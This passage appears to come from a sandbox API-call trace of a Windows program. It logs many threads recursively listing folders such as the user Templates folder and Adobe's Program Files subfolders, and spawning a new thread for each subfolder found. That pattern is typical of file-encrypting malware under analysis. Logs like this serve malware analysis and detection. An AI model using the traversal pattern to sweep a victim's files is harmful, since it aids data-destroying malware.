nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91c948) returned 1 [0140.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff368) returned 1 [0140.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fed68) returned 1 Thread: id = 1728 os_tid = 0x89c [0139.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8ff3c8 [0139.955] wcscpy (in: _Dest=0x8ff3c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" [0139.955] wcscat (in: _Dest=0x8ff3c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\" [0139.955] wcscat (in: _Dest=0x8ff3c8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*" [0139.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91cbb0 [0139.955] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.801] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91cbb0) returned 1 [0140.801] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff3c8) returned 1 [0140.801] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e46e0) returned 1 Thread: id = 1763 os_tid = 0x928 [0140.066] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f12f8 [0140.066] wcscpy (in: _Dest=0x8f12f8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0140.066] wcscat (in: _Dest=0x8f12f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\" [0140.066] wcscat (in: _Dest=0x8f12f8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*" [0140.066] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9072a8 [0140.066] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0140.302] wcscmp (_String1=".", _String2=".") returned 0 [0140.302] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.302] wcscmp (_String1="..", _String2=".") returned 1 [0140.302] wcscmp (_String1="..", _String2="..") returned 0 [0140.302] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 1 [0140.302] wcscmp (_String1="ActiveX", _String2=".") returned 1 [0140.302] wcscmp (_String1="ActiveX", _String2="..") returned 1 [0140.302] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0000 [0140.302] wcscpy (in: _Dest=0x8d0000, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0140.302] wcscat (in: _Dest=0x8d0000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\" [0140.302] wcscat (in: _Dest=0x8d0000, _Source="ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0140.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0140.303] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 0 [0140.303] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0140.303] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9072a8) returned 1 [0140.303] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f12f8) returned 1 [0140.303] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0fe8) returned 1 Thread: id = 1764 os_tid = 0x92c [0140.066] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90e940 [0140.066] wcscpy (in: _Dest=0x90e940, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0140.067] wcscat (in: _Dest=0x90e940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\" [0140.067] wcscat (in: _Dest=0x90e940, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*" [0140.067] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907040 [0140.067] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0140.068] wcscmp (_String1=".", _String2=".") returned 0 [0140.068] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.072] wcscmp (_String1="..", _String2=".") returned 1 [0140.072] wcscmp (_String1="..", _String2="..") returned 0 [0140.072] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0140.072] wcscmp (_String1="1.0", _String2=".") returned 1 [0140.072] wcscmp (_String1="1.0", _String2="..") returned 1 [0140.072] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1368 [0140.072] wcscpy (in: _Dest=0x8f1368, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0140.072] wcscat (in: _Dest=0x8f1368, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\" [0140.072] wcscat (in: _Dest=0x8f1368, _Source="1.0" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" [0140.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0140.073] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0140.073] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0140.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907040) returned 1 [0140.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90e940) returned 1 [0140.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90e9a8) returned 1 Thread: id = 1765 os_tid = 0x930 [0140.075] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f13d8 [0140.075] wcscpy (in: _Dest=0x8f13d8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.075] wcscat (in: _Dest=0x8f13d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.075] wcscat (in: _Dest=0x8f13d8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*" [0140.075] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907040 [0140.075] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941ef0 [0140.661] wcscmp (_String1=".", _String2=".") returned 0 [0140.661] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.662] wcscmp (_String1="..", _String2=".") returned 1 [0140.662] wcscmp (_String1="..", _String2="..") returned 0 [0140.662] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0140.662] wcscmp (_String1="ca_ES", _String2=".") returned 1 [0140.662] wcscmp (_String1="ca_ES", _String2="..") returned 1 [0140.662] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e9250 [0140.662] wcscpy (in: _Dest=0x8e9250, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.662] wcscat (in: _Dest=0x8e9250, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.662] wcscat (in: _Dest=0x8e9250, _Source="ca_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" [0140.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e9250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0140.751] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0140.751] wcscmp (_String1="cs_CZ", _String2=".") returned 1 [0140.751] wcscmp (_String1="cs_CZ", _String2="..") returned 1 [0140.751] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x971d08 [0140.751] wcscpy (in: _Dest=0x971d08, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.751] wcscat (in: _Dest=0x971d08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.751] wcscat (in: _Dest=0x971d08, _Source="cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" [0140.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x971d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0140.752] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0140.752] wcscmp (_String1="da_DK", _String2=".") returned 1 [0140.752] wcscmp (_String1="da_DK", _String2="..") returned 1 [0140.752] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x971d80 [0140.752] wcscpy (in: _Dest=0x971d80, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.752] wcscat (in: _Dest=0x971d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.752] wcscat (in: _Dest=0x971d80, _Source="da_DK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" [0140.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x971d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0140.753] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0140.754] wcscmp (_String1="de_DE", _String2=".") returned 1 [0140.754] wcscmp (_String1="de_DE", _String2="..") returned 1 [0140.754] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x971df8 [0140.754] wcscpy (in: _Dest=0x971df8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.754] wcscat (in: _Dest=0x971df8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.754] wcscat (in: _Dest=0x971df8, _Source="de_DE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" [0140.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x971df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0140.755] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0140.755] wcscmp (_String1="en_US", _String2=".") returned 1 [0140.755] wcscmp (_String1="en_US", _String2="..") returned 1 [0140.755] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x971e70 [0140.755] wcscpy (in: _Dest=0x971e70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.755] wcscat (in: _Dest=0x971e70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.755] wcscat (in: _Dest=0x971e70, _Source="en_US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" [0140.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x971e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0140.757] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0140.757] wcscmp (_String1="es_ES", _String2=".") returned 1 [0140.757] wcscmp (_String1="es_ES", _String2="..") returned 1 [0140.757] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x971ee8 [0140.757] wcscpy (in: _Dest=0x971ee8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.757] wcscat (in: _Dest=0x971ee8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.757] wcscat (in: _Dest=0x971ee8, _Source="es_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" [0140.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x971ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0140.758] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0140.758] wcscmp (_String1="eu_ES", _String2=".") returned 1 [0140.758] wcscmp (_String1="eu_ES", _String2="..") returned 1 [0140.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x971f60 [0140.758] wcscpy (in: _Dest=0x971f60, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.758] wcscat (in: _Dest=0x971f60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.758] wcscat (in: _Dest=0x971f60, _Source="eu_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" [0140.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x971f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0140.760] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0140.760] wcscmp (_String1="fi_FI", _String2=".") returned 1 [0140.760] wcscmp (_String1="fi_FI", _String2="..") returned 1 [0140.760] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x971fd8 [0140.760] wcscpy (in: _Dest=0x971fd8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.760] wcscat (in: _Dest=0x971fd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.760] wcscat (in: _Dest=0x971fd8, _Source="fi_FI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned="C:\\Program Files (x86)\\Common 